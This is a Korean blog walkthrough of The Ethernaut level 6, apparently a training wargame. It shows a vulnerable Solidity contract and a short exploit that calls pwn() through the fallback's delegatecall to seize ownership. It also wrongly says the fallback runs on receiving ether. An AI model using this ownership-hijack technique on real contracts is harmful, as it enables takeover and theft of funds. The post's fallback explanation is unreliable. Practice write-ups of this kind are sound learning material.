Web3/The Ethernaut

[The Ethernaut] Level 6. Delegation

프레딕 2025. 1. 17. 20:58
728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

owner 권한을 탈취하면 된다.

일단 문제 contract는 Delegation일 것이고 delegate변수에 Delegeate contract를 담는다.

owner 권한을 탈취하려면 Delegate의 pwn()함수만 실행시키면 되는데 일단 의심가는 점은 fallback() 부분이다.

fallback()은 이더를 받을 때 자동으로 실행되는 함수이다. (receive랑 비슷)

ether를 받을 때 delegate의 delegatecall함수를 실행시키는데 delegatecall함수는 외부 contract의 코드를 호출자의 컨텍스트에서 실행하는 함수이다.

 

즉, 이를 통해 Delegate contract의 pwn()함수를 실행시킬 수 있다.

일단 ether를 넘겨야하니 sendTrasaction을 사용하면 될 것이고 data부분에 pwn()함수를 넘기면 된다.

다만 pwn()을 바로 넘길수는 없고 16진수 형식으로 된 function값을 넘겨야 한다.

pwn()함수의 16진수 값은 아래 코드들로 알아낼 수 있다.

web3.eth.abi.encodeFunctionSignature("pwn()")
// 혹은
const data = abi.encodeFunctionData("pwn")
// abi가 설정되어있지 않다면
const abi = new ethers.utils.Interface(["function pwn()"]);

 

1번째 행이랑 3번째 값을 변수에 넣기 위해선 const를 써야한다.
그리고 해당 값을 sendTransaction의 data에 넘긴다.

const data = abi.encodeFunctionData("pwn()")
await contract.sendTransaction({'data':data})

 

그러면 Delegate의 pwn함수가 호출되면서 owner를 탈취할 수 있다.

728x90
반응형